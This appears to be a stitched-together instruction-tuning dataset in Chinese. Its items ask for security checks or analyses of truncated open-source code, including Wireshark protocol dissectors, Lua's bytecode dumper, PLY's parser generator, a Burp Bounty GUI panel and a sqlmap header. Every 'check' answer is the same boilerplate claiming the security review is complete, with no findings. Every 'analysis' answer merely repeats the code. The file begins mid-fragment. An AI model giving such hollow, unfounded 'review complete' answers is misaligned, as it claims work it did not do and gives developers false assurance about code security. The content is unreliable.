static dissector_table_t  subdissector_message_table;

/* WIMAX MAC Management message type info */
static const value_string mgt_msg_abbrv_vals[] = {
	{    MAC_MGMT_MSG_UCD,		   "UCD" },
	{    MAC_MGMT_MSG_DCD,		   "DCD" },
	{    MAC_MGMT_MSG_DL_MAP,	   "DL-MAP" },
	{    MAC_MGMT_MSG_UL_MAP,	   "UL-MAP" },
	{    MAC_MGMT_MSG_RNG_REQ,	   "RNG-REQ" },
	{    MAC_MGMT_MSG_RNG_RSP,	   "RNG-RSP" },
	{    MAC_MGMT_MSG_REG_REQ,	   "REG-REQ" },
	{    MAC_MGMT_MSG_REG_RSP,	   "REG-RSP" },
	{    8,				   "Reserved8" },
	{    MAC_MGMT_MSG_PKM_REQ,	   "PKM-REQ" },
	{    MAC_MGMT_MSG_PKM_RSP,	   "PKM-RSP" },
	{    MAC_MGMT_MSG_DSA_REQ,	   "DSA-REQ" },
	{    MAC_MGMT_MSG_DSA_RSP,	   "DSA-RSP" },
	{    MAC_MGMT_MSG_DSA_ACK,	   "DSA-ACK" },
	{    MAC_MGMT_MSG_DSC_REQ,	   "DSC-REQ" },
	{    MAC_MGMT_MSG_DSC_RSP,	   "DSC-RSP" },
	{    MAC_MGMT_MSG_DSC_ACK,	   "DSC-ACK" },
	{    MAC_MGMT_MSG_DSD_REQ,	   "DSD-REQ" },
	{    MAC_MGMT_MSG_DSD_RSP,	   "DSD-RSP" },
	{    19,			   "Reserved19" },
	{    20,			   "Reserved20" },
	{    MAC_MGMT_MSG_MCA_REQ,	   "MCA-REQ" },
	{    MAC_MGMT_MSG_MCA_RSP,	   "MCA-RSP" },
	{    MAC_MGMT_MSG_DBPC_REQ,	   "DBPC-REQ" },
	{    MAC_MGMT_MSG_DBPC_RSP,	   "DBPC-RSP" },
	{    MAC_MGMT_MSG_RES_CMD,	   "RES-CMD" },
	{    MAC_MGMT_MSG...


Instruction: 检查这段代码是否存在安全问题

Input:
/* mac_mgmt_msg_decoder.c
 * WiMax MAC Management Message decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: Lu Pan <lu.pan@intel.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "wimax_mac.h"

void proto_register_mac_mgmt_msg(void);
void proto_reg_handoff_mac_mgmt_msg(void);

static gint proto_mac_mgmt_msg_decoder = -1;
static gint ett_mac_mgmt_msg_decoder = -1;

static gint hf_mac_mgmt_msg_type = -1;
static gint hf_mac_mgmt_msg_values = -1;

static expert_field ei_empty_payload = EI_INIT;

static dissector_table_t  subdissector_message_table;

/* WIMAX MAC Management message type info */
static const value_string mgt_msg_abbrv_vals[] = {
	{    MAC_MGMT_MSG_UCD,		   "UCD" },
	{    MAC_MGMT_MSG_DCD,		   "DCD" },
	{    MAC_MGMT_MSG_DL_MAP,	   "DL-MAP" },
	{    MAC_MGMT_MSG_UL_MAP,	   "UL-MAP" },
	{    MAC_MGMT_MSG_RNG_REQ,	   "RNG-REQ" },
	{    MAC_MGMT_MSG_RNG_RSP,	   "RNG-RSP" },
	{    MAC_MGMT_MSG_REG_REQ,	   "REG-REQ" },
	{    MAC_MGMT_MSG_REG_RSP,	   "REG-RSP" },
	{    8,				   "Reserved8" },
	{    MAC_MGMT_MSG_PKM_REQ,	   "PKM-REQ" },
	{    MAC_MGMT_MSG_PKM_RSP,	   "PKM-RSP" },
	{    MAC_MGMT_MSG_DSA_REQ,	   "DSA-REQ" },
	{    MAC_MGMT_MSG_DSA_RSP,	   "DSA-RSP" },
	{    MAC_MGMT_MSG_DSA_ACK,	   "DSA-ACK" },
	{    MAC_MGMT_MSG_DSC_REQ,	   "DSC-REQ" },
	{    MAC_MGMT_MSG_DSC_RSP,	   "DSC-RSP" },
	{    MAC_MGMT_MSG_DSC_ACK,	   "DSC-ACK" },
	{    MAC_MGMT_MSG_DSD_REQ,	   "DSD-REQ" },
	{    MAC_MGMT_MSG_DSD_RSP,	   "DSD-RSP" },
	{    19,			   "Reserved19" },
	{    20,			   "Reserved20" },
	{    MAC_MGMT_MSG_MCA_REQ,	   "MCA-REQ" },
	{    MAC_MGMT_MSG_MCA_RSP,	   "MCA-RSP" },
	{    MAC_MGMT_MSG_DBPC_REQ,	   "DBPC-REQ" },
	{    MAC_MGMT_MSG_DBPC_RSP,	   "DBPC-RSP" },
	{    MAC_MGMT_MSG_RES_CMD,	   "RES-CMD" },
	{    MAC_MGMT_MSG...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
** $Id: ldump.c $
** save precompiled Lua chunks
** See Copyright Notice in lua.h
*/

#define ldump_c
#define LUA_CORE

#include "lprefix.h"

#include <stddef.h>

#include "lua.h"

#include "lobject.h"
#include "lstate.h"
#include "lundump.h"

typedef struct {
  lua_State *L;
  lua_Writer writer;
  void *data;
  int strip;
  int status;
} DumpState;

/*
** All high-level dumps go through dumpVector; you can change it to
** change the endianness of the result
*/
#define dumpVector(D,v,n)	dumpBlock(D,v,(n)*sizeof((v)[0]))

#define dumpLiteral(D, s)	dumpBlock(D,s,sizeof(s) - sizeof(char))

static void dumpBlock (DumpState *D, const void *b, size_t size) {
  if (D->status == 0 && size > 0) {
    lua_unlock(D->L);
    D->status = (*D->writer)(D->L, b, size, D->data);
    lua_lock(D->L);
  }
}

#define dumpVar(D,x)		dumpVector(D,&x,1)

static void dumpByte (DumpState *D, int y) {
  lu_byte x = (lu_byte)y;
  dumpVar(D, x);
}

/* dumpInt Buff Size */
#define DIBS    ((sizeof(size_t) * 8 / 7) + 1)

static void dumpSize (DumpState *D, size_t x) {
  lu_byte buff[DIBS];
  int n = 0;
  do {
    buff[DIBS - (++n)] = x & 0x7f;  /* fill buffer in reverse order */
    x >>= 7;
  } while (x != 0);
  buff[DIBS - 1] |= 0x80;  /* mark last byte */
  dumpVector(D, buff + DIBS - n, n);
}

static void dumpInt (DumpState *D, int x) {
  dumpSize(D, x);
}

static void dumpNumber (DumpState *D, lua_Number x) {
  dumpVar(D, x);
}

static void dumpInteger (DumpState *D, lua_Integer x) {
  dumpVar(D, x);
}

static void dumpString (DumpState *D, const TString *s) {
  if (s == NULL)
    dumpSize(D, 0);
  else {
    size_t size = tsslen(s);
    const char *str = getstr(s);
    dumpSize(D, size + 1);
    dumpVector(D, str, size);
  }
}

static void dumpCode (DumpState *D, const Proto *f) {
  dumpInt(D, f->sizecode);
  dumpVector(D, f->code, f->sizecode);
}

static void dumpFunction(DumpState *D, const Proto *f, TString *psource);

static void dumpConstants (DumpState *D, const Proto *...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
** $Id: ldump.c $
** save precompiled Lua chunks
** See Copyright Notice in lua.h
*/

#define ldump_c
#define LUA_CORE

#include "lprefix.h"

#include <stddef.h>

#include "lua.h"

#include "lobject.h"
#include "lstate.h"
#include "lundump.h"

typedef struct {
  lua_State *L;
  lua_Writer writer;
  void *data;
  int strip;
  int status;
} DumpState;

/*
** All high-level dumps go through dumpVector; you can change it to
** change the endianness of the result
*/
#define dumpVector(D,v,n)	dumpBlock(D,v,(n)*sizeof((v)[0]))

#define dumpLiteral(D, s)	dumpBlock(D,s,sizeof(s) - sizeof(char))

static void dumpBlock (DumpState *D, const void *b, size_t size) {
  if (D->status == 0 && size > 0) {
    lua_unlock(D->L);
    D->status = (*D->writer)(D->L, b, size, D->data);
    lua_lock(D->L);
  }
}

#define dumpVar(D,x)		dumpVector(D,&x,1)

static void dumpByte (DumpState *D, int y) {
  lu_byte x = (lu_byte)y;
  dumpVar(D, x);
}

/* dumpInt Buff Size */
#define DIBS    ((sizeof(size_t) * 8 / 7) + 1)

static void dumpSize (DumpState *D, size_t x) {
  lu_byte buff[DIBS];
  int n = 0;
  do {
    buff[DIBS - (++n)] = x & 0x7f;  /* fill buffer in reverse order */
    x >>= 7;
  } while (x != 0);
  buff[DIBS - 1] |= 0x80;  /* mark last byte */
  dumpVector(D, buff + DIBS - n, n);
}

static void dumpInt (DumpState *D, int x) {
  dumpSize(D, x);
}

static void dumpNumber (DumpState *D, lua_Number x) {
  dumpVar(D, x);
}

static void dumpInteger (DumpState *D, lua_Integer x) {
  dumpVar(D, x);
}

static void dumpString (DumpState *D, const TString *s) {
  if (s == NULL)
    dumpSize(D, 0);
  else {
    size_t size = tsslen(s);
    const char *str = getstr(s);
    dumpSize(D, size + 1);
    dumpVector(D, str, size);
  }
}

static void dumpCode (DumpState *D, const Proto *f) {
  dumpInt(D, f->sizecode);
  dumpVector(D, f->code, f->sizecode);
}

static void dumpFunction(DumpState *D, const Proto *f, TString *psource);

static void dumpConstants (DumpState *D, const Proto *...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* persfilepath_opt.c
 * Routines to handle command-line options to set paths for directories
 * containing personal files (configuration, saved captures)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>
#include <errno.h>

#include <glib.h>

#include <wsutil/filesystem.h>

#include "ui/persfilepath_opt.h"

/*
 * process command line option that affects the paths of the directories
 * used for personal files (configuration, saved captures)
 */
gboolean
persfilepath_opt(int opt _U_, const char *optstr)
{
    gchar *p, *colonp;

    colonp = strchr(optstr, ':');
    if (colonp == NULL) {
        return FALSE;
    }

    p = colonp;
    *p++ = '\0';

    /*
    * Skip over any white space (there probably won't be any, but
    * as we allow it in the preferences file, we might as well
    * allow it here).
    */
    while (g_ascii_isspace(*p))
        p++;
    if (*p == '\0') {
        /*
         * Put the colon back, so if our caller uses, in an
         * error message, the string they passed us, the message
         * looks correct.
         */
        *colonp = ':';
        return FALSE;
    }

    /* directory should be existing */
    /* XXX - is this a requirement? */
    if(test_for_directory(p) != EISDIR) {
        /*
         * Put the colon back, so if our caller uses, in an
         * error message, the string they passed us, the message
         * looks correct.
         */
        *colonp = ':';
        return FALSE;
    }

    if (strcmp(optstr,"persconf") == 0) {
        set_persconffile_dir(p);
    } else if (strcmp(optstr,"persdata") == 0) {
        set_persdatafile_dir(p);
    } else {
        /* XXX - might need to add the temp file path */
        return FALSE;
    }
    *colonp = ':'; /* put the colon back */
    return TRUE;
}


Instruction: 检查这段代码是否存在安全问题

Input:
/* persfilepath_opt.c
 * Routines to handle command-line options to set paths for directories
 * containing personal files (configuration, saved captures)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <string.h>
#include <errno.h>

#include <glib.h>

#include <wsutil/filesystem.h>

#include "ui/persfilepath_opt.h"

/*
 * process command line option that affects the paths of the directories
 * used for personal files (configuration, saved captures)
 */
gboolean
persfilepath_opt(int opt _U_, const char *optstr)
{
    gchar *p, *colonp;

    colonp = strchr(optstr, ':');
    if (colonp == NULL) {
        return FALSE;
    }

    p = colonp;
    *p++ = '\0';

    /*
    * Skip over any white space (there probably won't be any, but
    * as we allow it in the preferences file, we might as well
    * allow it here).
    */
    while (g_ascii_isspace(*p))
        p++;
    if (*p == '\0') {
        /*
         * Put the colon back, so if our caller uses, in an
         * error message, the string they passed us, the message
         * looks correct.
         */
        *colonp = ':';
        return FALSE;
    }

    /* directory should be existing */
    /* XXX - is this a requirement? */
    if(test_for_directory(p) != EISDIR) {
        /*
         * Put the colon back, so if our caller uses, in an
         * error message, the string they passed us, the message
         * looks correct.
         */
        *colonp = ':';
        return FALSE;
    }

    if (strcmp(optstr,"persconf") == 0) {
        set_persconffile_dir(p);
    } else if (strcmp(optstr,"persdata") == 0) {
        set_persdatafile_dir(p);
    } else {
        /* XXX - might need to add the temp file path */
        return FALSE;
    }
    *colonp = ':'; /* put the colon back */
    return TRUE;
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 检查这段代码是否存在安全问题

Input:
/* DO NOT EDIT
	This file was automatically generated by Pidl
	from lsa.idl and lsa.cnf.

	Pidl is a perl based IDL compiler for DCE/RPC idl files.
	It is maintained by the Samba team, not the Wireshark team.
	Instructions on how to download and install Pidl can be
	found at https://gitlab.com/wireshark/wireshark/-/wikis/Pidl
*/

#include "config.h"
#include <glib.h>
#include <string.h>
#include <epan/packet.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-lsa.h"
void proto_register_dcerpc_lsarpc(void);
void proto_reg_handoff_dcerpc_lsarpc(void);

/* Ett declarations */
static gint ett_lsarpc_names = -1;
static gint ett_dcerpc_lsarpc = -1;
static gint ett_lsarpc_lsa_PolicyAccessMask = -1;
static gint ett_lsarpc_lsa_AccountAccessMask = -1;
static gint ett_lsarpc_lsa_DomainAccessMask = -1;
static gint ett_lsarpc_lsa_SecretAccessMask = -1;
static gint ett_lsarpc_security_secinfo = -1;
static gint ett_lsarpc_lsa_String = -1;
static gint ett_lsarpc_lsa_StringLarge = -1;
static gint ett_lsarpc_lsa_Strings = -1;
static gint ett_lsarpc_lsa_AsciiString = -1;
static gint ett_lsarpc_lsa_AsciiStringLarge = -1;
static gint ett_lsarpc_lsa_LUID = -1;
static gint ett_lsarpc_lsa_PrivEntry = -1;
static gint ett_lsarpc_lsa_PrivArray = -1;
static gint ett_lsarpc_lsa_QosInfo = -1;
static gint ett_lsarpc_lsa_ObjectAttribute = -1;
static gint ett_lsarpc_lsa_AuditLogInfo = -1;
static gint ett_lsarpc_lsa_AuditEventsInfo = -1;
static gint ett_lsarpc_lsa_DomainInfo = -1;
static gint ett_lsarpc_lsa_PDAccountInfo = -1;
static gint ett_lsarpc_lsa_ServerRole = -1;
static gint ett_lsarpc_lsa_ReplicaSourceInfo = -1;
static gint ett_lsarpc_lsa_DefaultQuotaInfo = -1;
static gint ett_lsarpc_lsa_ModificationInfo = -1;
static gint ett_lsarpc_lsa_AuditFullSetInfo = -1;
static gint ett_lsarpc_lsa_AuditFullQueryInfo = -1;
static gint ett_lsarpc_lsa_DnsDomainInfo = -1;
static gint ett_lsarpc_lsa_PolicyInformation = -1;
static gint ett_l...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
Copyright 2018 Eduardo Garcia Melia <wagiro@gmail.com>

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
 */
package burpbountyfree;

public class NewTag extends javax.swing.JPanel {

    public NewTag() {
        initComponents();

    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        newTagtext = new javax.swing.JTextField();
        jLabel47 = new javax.swing.JLabel();

        setAlignmentX(300);
        setAlignmentY(300);

        jLabel47.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
        jLabel47.setForeground(new java.awt.Color(255, 102, 51));
        jLabel47.setText("Set new tag");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
        this.setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(newTagtext, javax.swing.GroupLayout.PREFERRED_SIZE, 267, javax.swing.GroupLayout.PREFERRED_SIZE)
                    ....


Instruction: 检查这段代码是否存在安全问题

Input:
/*
Copyright 2018 Eduardo Garcia Melia <wagiro@gmail.com>

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
 */
package burpbountyfree;

public class NewTag extends javax.swing.JPanel {

    public NewTag() {
        initComponents();

    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        newTagtext = new javax.swing.JTextField();
        jLabel47 = new javax.swing.JLabel();

        setAlignmentX(300);
        setAlignmentY(300);

        jLabel47.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
        jLabel47.setForeground(new java.awt.Color(255, 102, 51));
        jLabel47.setText("Set new tag");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
        this.setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(newTagtext, javax.swing.GroupLayout.PREFERRED_SIZE, 267, javax.swing.GroupLayout.PREFERRED_SIZE)
                    ....

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-rip.c
 * Routines for RIPv1 and RIPv2 packet disassembly
 * RFC1058 (STD 34), RFC1388, RFC1723, RFC2453 (STD 56)
 * (c) Copyright Hannes R. Boehm <hannes@boehm.org>
 *
 * RFC2082 ( Keyed Message Digest Algorithm )
 *   Emanuele Caratti  <wiz@iol.it>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <epan/to_str.h>

#define UDP_PORT_RIP    520

#define RIPv1   1
#define RIPv2   2

void proto_register_rip(void);
void proto_reg_handoff_rip(void);

static const value_string version_vals[] = {
    { RIPv1, "RIPv1" },
    { RIPv2, "RIPv2" },
    { 0, NULL }
};

static const value_string command_vals[] = {
    { 1, "Request" },
    { 2, "Response" },
    { 3, "Traceon" },
    { 4, "Traceoff" },
    { 5, "Vendor specific (Sun)" },
    { 0, NULL }
};

#define AFVAL_UNSPEC    0
#define AFVAL_IP        2

static const value_string family_vals[] = {
    { AFVAL_UNSPEC, "Unspecified" },
    { AFVAL_IP,     "IP" },
    { 0, NULL }
};

#define AUTH_IP_ROUTE           1
#define AUTH_PASSWORD           2
#define AUTH_KEYED_MSG_DIGEST   3

static const value_string rip_auth_type[] = {
    { AUTH_IP_ROUTE,         "IP Route" },
    { AUTH_PASSWORD,         "Simple Password" },
    { AUTH_KEYED_MSG_DIGEST, "Keyed Message Digest" },
    { 0, NULL }
};

#define RIP_HEADER_LENGTH 4
#define RIP_ENTRY_LENGTH 20
#define MD5_AUTH_DATA_LEN 16

static gboolean pref_display_routing_domain = FALSE;

static dissector_handle_t rip_handle;

static int proto_rip = -1;

static int hf_rip_auth = -1;
static int hf_rip_auth_data_len = -1;
static int hf_rip_auth_passwd = -1;
static int hf_rip_auth_seq_num = -1;
static int hf_rip_authentication_data = -1;
static int hf_rip_command = -1;
static int hf_rip_digest_offset = -1;
static int hf_rip_family = -1;
static int hf_rip_ip = -...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-rip.c
 * Routines for RIPv1 and RIPv2 packet disassembly
 * RFC1058 (STD 34), RFC1388, RFC1723, RFC2453 (STD 56)
 * (c) Copyright Hannes R. Boehm <hannes@boehm.org>
 *
 * RFC2082 ( Keyed Message Digest Algorithm )
 *   Emanuele Caratti  <wiz@iol.it>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <epan/to_str.h>

#define UDP_PORT_RIP    520

#define RIPv1   1
#define RIPv2   2

void proto_register_rip(void);
void proto_reg_handoff_rip(void);

static const value_string version_vals[] = {
    { RIPv1, "RIPv1" },
    { RIPv2, "RIPv2" },
    { 0, NULL }
};

static const value_string command_vals[] = {
    { 1, "Request" },
    { 2, "Response" },
    { 3, "Traceon" },
    { 4, "Traceoff" },
    { 5, "Vendor specific (Sun)" },
    { 0, NULL }
};

#define AFVAL_UNSPEC    0
#define AFVAL_IP        2

static const value_string family_vals[] = {
    { AFVAL_UNSPEC, "Unspecified" },
    { AFVAL_IP,     "IP" },
    { 0, NULL }
};

#define AUTH_IP_ROUTE           1
#define AUTH_PASSWORD           2
#define AUTH_KEYED_MSG_DIGEST   3

static const value_string rip_auth_type[] = {
    { AUTH_IP_ROUTE,         "IP Route" },
    { AUTH_PASSWORD,         "Simple Password" },
    { AUTH_KEYED_MSG_DIGEST, "Keyed Message Digest" },
    { 0, NULL }
};

#define RIP_HEADER_LENGTH 4
#define RIP_ENTRY_LENGTH 20
#define MD5_AUTH_DATA_LEN 16

static gboolean pref_display_routing_domain = FALSE;

static dissector_handle_t rip_handle;

static int proto_rip = -1;

static int hf_rip_auth = -1;
static int hf_rip_auth_data_len = -1;
static int hf_rip_auth_passwd = -1;
static int hf_rip_auth_seq_num = -1;
static int hf_rip_authentication_data = -1;
static int hf_rip_command = -1;
static int hf_rip_digest_offset = -1;
static int hf_rip_family = -1;
static int hf_rip_ip = -...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# -----------------------------------------------------------------------------
# ply: yacc.py
#
# Copyright (C) 2001-2015,
# David M. Beazley (Dabeaz LLC)
# All rights reserved.
#
# SPDX-License-Identifier: BSD-3-Clause
# -----------------------------------------------------------------------------
#
# This implements an LR parser that is constructed from grammar rules defined
# as Python functions. The grammer is specified by supplying the BNF inside
# Python documentation strings.  The inspiration for this technique was borrowed
# from John Aycock's Spark parsing system.  PLY might be viewed as cross between
# Spark and the GNU bison utility.
#
# The current implementation is only somewhat object-oriented. The
# LR parser itself is defined in terms of an object (which allows multiple
# parsers to co-exist).  However, most of the variables used during table
# construction are defined in terms of global variables.  Users shouldn't
# notice unless they are trying to define multiple parsers at the same
# time using threads (in which case they should have their head examined).
#
# This implementation supports both SLR and LALR(1) parsing.  LALR(1)
# support was originally implemented by Elias Ioup (ezioup@alumni.uchicago.edu),
# using the algorithm found in Aho, Sethi, and Ullman "Compilers: Principles,
# Techniques, and Tools" (The Dragon Book).  LALR(1) has since been replaced
# by the more efficient DeRemer and Pennello algorithm.
#
# :::::::: WARNING :::::::
#
# Construction of LR parsing tables is fairly complicated and expensive.
# To make this module run fast, a *LOT* of work has been put into
# optimization---often at the expensive of readability and what might
# consider to be good Python "coding style."   Modify the code at your
# own risk!
# ----------------------------------------------------------------------------

import re
import types
import sys
import os.path
import inspect
import base64
import warnings

__version__    = '3.8'
__tabversion__ = '3.8'
...


Instruction: 检查这段代码是否存在安全问题

Input:
# -----------------------------------------------------------------------------
# ply: yacc.py
#
# Copyright (C) 2001-2015,
# David M. Beazley (Dabeaz LLC)
# All rights reserved.
#
# SPDX-License-Identifier: BSD-3-Clause
# -----------------------------------------------------------------------------
#
# This implements an LR parser that is constructed from grammar rules defined
# as Python functions. The grammer is specified by supplying the BNF inside
# Python documentation strings.  The inspiration for this technique was borrowed
# from John Aycock's Spark parsing system.  PLY might be viewed as cross between
# Spark and the GNU bison utility.
#
# The current implementation is only somewhat object-oriented. The
# LR parser itself is defined in terms of an object (which allows multiple
# parsers to co-exist).  However, most of the variables used during table
# construction are defined in terms of global variables.  Users shouldn't
# notice unless they are trying to define multiple parsers at the same
# time using threads (in which case they should have their head examined).
#
# This implementation supports both SLR and LALR(1) parsing.  LALR(1)
# support was originally implemented by Elias Ioup (ezioup@alumni.uchicago.edu),
# using the algorithm found in Aho, Sethi, and Ullman "Compilers: Principles,
# Techniques, and Tools" (The Dragon Book).  LALR(1) has since been replaced
# by the more efficient DeRemer and Pennello algorithm.
#
# :::::::: WARNING :::::::
#
# Construction of LR parsing tables is fairly complicated and expensive.
# To make this module run fast, a *LOT* of work has been put into
# optimization---often at the expensive of readability and what might
# consider to be good Python "coding style."   Modify the code at your
# own risk!
# ----------------------------------------------------------------------------

import re
import types
import sys
import os.path
import inspect
import base64
import warnings

__version__    = '3.8'
__tabversion__ = '3.8'
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-zbee-zcl-ha.c
 * Dissector routines for the ZigBee ZCL HA clusters like
 * Appliance Identification, Meter Identification ...
 * By Fabio Tarabelloni <fabio.tarabelloni@reloc.it>
 * Copyright 2013 RELOC s.r.l.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/to_str.h>

#include "packet-zbee.h"
#include "packet-zbee-aps.h"
#include "packet-zbee-zcl.h"

/* ########################################################################## */
/* #### (0x0B00) APPLIANCE IDENTIFICATION CLUSTER ########################### */
/* ########################################################################## */

/*************************/
/* Defines               */
/*************************/

#define ZBEE_ZCL_APPL_IDT_NUM_GENERIC_ETT               2
#define ZBEE_ZCL_APPL_IDT_NUM_ETT                       ZBEE_ZCL_APPL_IDT_NUM_GENERIC_ETT

/* Attributes */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_BASIC_IDENT           0x0000  /* Basic Identification */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_COMPANY_NAME          0x0010  /* Company Name */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_COMPANY_ID            0x0011  /* Company ID */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_BRAND_NAME            0x0012  /* Brand Name */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_BRAND_ID              0x0013  /* Brand ID */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_MODEL                 0x0014  /* Model */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PART_NUM              0x0015  /* Part Number */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PROD_REV              0x0016  /* Product Revision */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_SW_REV                0x0017  /* Software Revision */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PROD_TYPE_NAME        0x0018  /* Product Type Name */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PROD_TYPE_ID          0x0019  /* Product Type ID */
#define ZBEE_ZCL_...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-zbee-zcl-ha.c
 * Dissector routines for the ZigBee ZCL HA clusters like
 * Appliance Identification, Meter Identification ...
 * By Fabio Tarabelloni <fabio.tarabelloni@reloc.it>
 * Copyright 2013 RELOC s.r.l.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*  Include Files */
#include "config.h"

#include <epan/packet.h>
#include <epan/to_str.h>

#include "packet-zbee.h"
#include "packet-zbee-aps.h"
#include "packet-zbee-zcl.h"

/* ########################################################################## */
/* #### (0x0B00) APPLIANCE IDENTIFICATION CLUSTER ########################### */
/* ########################################################################## */

/*************************/
/* Defines               */
/*************************/

#define ZBEE_ZCL_APPL_IDT_NUM_GENERIC_ETT               2
#define ZBEE_ZCL_APPL_IDT_NUM_ETT                       ZBEE_ZCL_APPL_IDT_NUM_GENERIC_ETT

/* Attributes */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_BASIC_IDENT           0x0000  /* Basic Identification */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_COMPANY_NAME          0x0010  /* Company Name */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_COMPANY_ID            0x0011  /* Company ID */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_BRAND_NAME            0x0012  /* Brand Name */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_BRAND_ID              0x0013  /* Brand ID */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_MODEL                 0x0014  /* Model */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PART_NUM              0x0015  /* Part Number */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PROD_REV              0x0016  /* Product Revision */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_SW_REV                0x0017  /* Software Revision */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PROD_TYPE_NAME        0x0018  /* Product Type Name */
#define ZBEE_ZCL_ATTR_ID_APPL_IDT_PROD_TYPE_ID          0x0019  /* Product Type ID */
#define ZBEE_ZCL_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

